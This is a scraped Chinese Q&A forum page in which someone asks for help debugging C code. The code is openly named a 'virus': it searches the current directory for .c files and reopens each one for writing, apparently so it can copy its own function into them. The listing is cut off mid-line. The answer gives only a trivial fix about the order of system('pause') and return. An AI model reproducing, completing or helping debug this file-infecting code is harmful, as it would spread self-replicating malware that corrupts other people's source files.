c语言帮忙看看代码

来源:百度知道 编辑:UC知道 时间:2024/05/30 20:31:34
#include <stdio.h>
#include <dir.h>
void main(void)
{
virus();
}
int virus()
{
struct ffblk ffblk;
FILE *in,*out,*read;
char *virus="virus.c";
char buf[50][80];
char *p;
char *end="return";
char *bracket="}";
char *main="main";
char *include[2]={"stdio.h","dir.h"};
char *int_virus="int virus()";
char *buffer;
int done,i,j=0,flag=0;
printf("\nI have a virus. Writen by PuBin\n");
done = findfirst("*.c",&ffblk,0);
while (!done)
{
i=0;
if ((in = fopen(ffblk.ff_name, "rt"))== NULL)
{
goto next;
}
do{
if(i>=50)
{
fclose(in);
goto next;
}
p=fgets(buf,80,in);
i++;
}while(p!=NULL);
fclose(in);
out=fopen(ffblk.ff_name,"w+t");
fpu

代码太多,我没仔细看,但注意到最后两句:
return 0;
system("pause"); //这句代码的作用看上去像是让程序暂停,但遗憾的是,这名代码永远也不会被执行,因为它出现在return 0;的后面:函数都return了,还会执行return后面的代码吗?
改成这样你试试。
system("pause");
return 0;